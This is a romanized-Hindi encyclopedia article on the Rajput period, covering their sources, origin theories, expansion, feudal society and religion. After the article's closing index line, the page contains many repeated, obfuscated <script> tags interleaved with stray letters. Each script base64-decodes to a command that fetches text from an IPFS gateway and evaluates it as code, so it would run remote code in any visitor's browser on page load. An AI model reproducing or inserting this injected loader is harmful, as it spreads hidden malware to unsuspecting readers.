राजपूत काल

[[chitr:Prithvi-Raj-Chauhan-Statue-Ajmer.jpg|thumb|prithviraj chauhan ki pratima, ajamer]] rajapootoan ke itihas ke bare mean abhilekhoan evan samakalin tatha bad ke kuchh sahityoan se janakari milati hai. abhilekhoan mean gvaliyar evan aihol abhilekh tatha sahity mean nayachandrasoori ka 'hammir mahakavy', padmagupt ka 'navasahasaankacharit', halayudh ki 'piangalasootravriti', 'kumarapal charit', 'varn ratnakar' evan prithvirajaraso adi pramukh hai.

rajapoot ka arth

rajapoot shabd sanskrit ke 'rajapootr' ka apabhransh hai. samanyat: isaka arth hota hai, 'raja ka putr' ya shahi parivar ke kisi vyakti ka 'rajapootr'. sambhavatah prachin kal mean is shabd ka prayog kisi jati ke roop mean n karake rajaparivar ke sadasyoan ke lie kiya jata tha, par harsh ki mrityu ke bad rajapoot ya rajapootr shabd ka prayog jati ke roop mean hone laga.

rajapootoan ki utpatti

in rajapoot vanshoan ki utpatti ke vishay mean viddhanoan ke do mat prachalit haian- ek ka manana hai ki rajapootoan ki utpatti videshi hai, jabaki doosare ka manana hai ki, rajapootoan ki utpatti bharatiy hai. harshavardhan ki mrityu ke uparant jin mahanh shaktiyoan ka uday hua tha, unamean adhikaansh rajapoot varg ke antargat hi ate the.aijent tod ne 12vian shatabdi ke uttar bharat ke itihas ko 'rajapoot kal' bhi kaha hai. kuchh itihasakaroan ne prachin kal evan madhy kal ko 'sandhi kal' bhi kaha hai. is kal ke mahattvapoorn rajapoot vanshoan mean rashtrakoot vansh, chaluky vansh, chauhan vansh, chandel vansh, paramar vansh evan gah daval vansh adi ate haian.

samrajy vistar

bangal par pahale pal vansh ka adhikar tha, bad mean sen vansh ka adhikar hua. uttarakalin pal shasakoan mean sabase mahattvapoorn 'mahipal' tha. jisane uttari bharat mean mahamood gazanavi ke akraman ke samay qarib pachas varshoan tak raj kiya. is kal mean usane apane rajy ka vistar bangal ke alava bihar mean bhi kiya. usane kee nagaroan ka nirman kiya tatha kee purane dharmik bhavanoan ki marammat karavaee, jinamean se kuchh nalanda tatha banaras mean the. usaki mrityu ke bad kannauj ke gah davaloan ne bihar se dhire-dhire paloan ke adhikar ko samapt kar diya aur banaras ko apani doosari rajadhani banaya. isi dauran chauhan apane samrajy ka vistar ajamer se lekar gujarat ki or kar rahe the. ve dilli aur panjab ki or bhi badh rahe the. is prayas mean unhean gah davaloan ka samana karana p da. inhian apasi sangharshoan ke karan rajapoot panjab se gazanaviyoan ko bahar nikalane mean asaphal rahe. unaki kamazori ka labh uthakar gazanaviyoan ne ujjain par bhi akraman kiya.

itihasakaroan ke mat

d aau. gauri shankar ojha rajapootoan ki utpatti prachin kshatriy jati se manate haian. rajatarangini mean 36 kshatriy kuloan ka varnan milata hai. kuchh vidvanh rajapootoan ki utpatti agnikuand se utpann batate haian. yah anushrati prithvirajaraso (chandrarabaradaee krit) ke varnan par adharit hai. prithvirajaraso ke atirikt 'navasahasaank' charit, 'hammiraraso', 'vansh bhaskar' evan 'sisana' abhilekh mean bhi is anushrati ka varnan milata hai. katha ka sankshipt rooph is prakar hai- 'jab prithvi daityoan ke atank se akraant ho gayi, tab maharshi vashishth ne daityoan ke vinash ke lie aboo parvat par ek agnikund ka nirman kar yajn kiya. is yajn ki agni se char yoddhaoan- pratihar, paramar, chauhan evan chaluky ki utpatti huee. bharat mean any rajapoot vansh inhian ki santan haian. 'dasharath sharma', 'd aau. gauri shankar ojha' evan 'si.vi. vaidy' is katha ko matr kalpanik manate haian.

videshi jati ka mat

videshi utpatti ke samarthakoan mean mahattvapoorn sthan 'karnal jems t aaud' ka hai. ve rajapootoan ko videshi sithiyan jati ki santan manate haian. tark ke samarthan mean t aaud ne donoan jatiyoan (rajapoot evan sithiyan) ki samajik evan dharmik sthiti ki samanata ki bat kahi hai. unake anusar donoan mean rahan-sahan, vesh-bhoosha ki samanata, maansahar ka prachalan, rath ke dvara yuddh ko sanchalit karana, yajnik anushthanoan ka prachalan, astr-shastr ki pooja ka prachalan adi se yah pratit hota hai ki rajapoot sithiyan ke hi vanshaj the.

viliyam kruk ne 'karnal jems t aaud' ke mat ka samarthan kiya hai. 'vi.e. smith' ke anusar shak tatha kushan jaisi videshi jatiyaan bharat akar yahaan ke samaj mean poornatah ghul-mil gayian. in deshi evan videshi jatiyoan ke mishran se hi rajapootoan ki utpatti huee.

bharatiy itihasakaroan mean 'eeshvari prasad' evan 'di.ar. bhandarakar' ne bharatiy samaj mean videshi mool ke logoan ke sammilit hone ko hi rajapootoan ki utpatti ka karan mana hai. bhandarakar tatha kaniangham ke anusar rajapoot videshi the. in tamam vidvanoan ke tarko ke adhar par nishkarshatah yah kaha ja sakata hai ki, yadyapi rajapoot kshatriyoan ke vanshaj the, phir bhi unamean videshi rakt ka mishran avashy tha. atah ve n to poornatah videshi the, n to poornat bharatiy.

rajapoot samaj ka mukhy adhar

rajapoot rajyoan mean bhi samantavadi vyavastha ka prabhav tha. rajapoot samaj ka mukhy adhar vansh tha. har vansh apane ko ek yoddha ka vanshaj batata tha, jo vastavik bhi ho sakata tha aur kalpanik bhi. alag-alag vansh alag-alag kshetroan par shasan karate the. inake rajyoan ke aantargat 12, 24, 48 ya 84 gram ate the. raja in gramoan ki bhoomi apane saradaroan mean baant deta tha, jo phir isi tarah apane hisse ki bhoomi ko rajapoot yoddhaoan ko, apane parivaroan aur gho doan ke rakh-rakhav ke lie baant dete the. rajapootoan ki pramukh visheshata apani bhoomi, parivar aur apane man-samman ke sath lagav tha. har rajapoot rajy ka raja adhikatar apane bhaiyoan ki sahayata se shasan karata tha. yadyapi sari bhoomi par raja ka hi adhikar tha. bhoomi par niyantran ko samman ki bat samajhane ke karan vidroh athava uttaradhikari ke n hone jaisi vishesh sthitiyoan mean hi raja zamin vapas le leta tha.

anushasanahinata

rajapootoan ki samaj vyavastha ke labh bhi the aur nuqasan bhi. labh to yah tha ki rajapootoan mean bhaeechare aur samanata ki bhavana vyapt thi, par doosari or isi bhavana ke karan unamean anushasan lana kathin tha. unaki doosari kamazori apasi sangharsh tha, jo pushtoan tak chalata tha. par unaki mool kamazori yah thi ki, ve apane hi alag gut banate aur doosaroan se shreshth hone ka dava karate the. ve bhaeechare ki bhavana mean gair rajapootoan ko shamil nahian karate the. isase shasan karane vale rajapootoan aur am janata, jo adhikatar rajapoot nahian thi, ke bich antar badhata gaya. aj bhi rajapoot rajasthan ki abadi ke kul chhh pratishat ke lagabhag haian. gyarahavian tatha barahavian shatabdi mean bhi rajapootoan tatha unake dvara shasit pradeshoan ki poori abadi ke bich yahi anupat raha hoga.

dharmik svatantrata

us kal mean adhikatar rajapoot raja hindoo the, yadyapi kuchh jain dharm ke bhi samarthak the. ve brahman aur mandiroan ko b di matra mean dhan aur bhoomi ka dan karate the. ve varn vyavastha tatha brahmanoan ke visheshadhikaroan ke paksh mean the. isalie kuchh rajapooti rajyoan mean to bharat ki svatantrata aur bharatiy sangh mean unake vilay tak brahmanoan se apekshakrit kam lagan vasool kiya jata tha. in visheshadhikaroan ke badale brahman rajapootoan ko prachin soory aur chandravanshi kshatriyoan ke vanshaj manane ko taiyar the.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah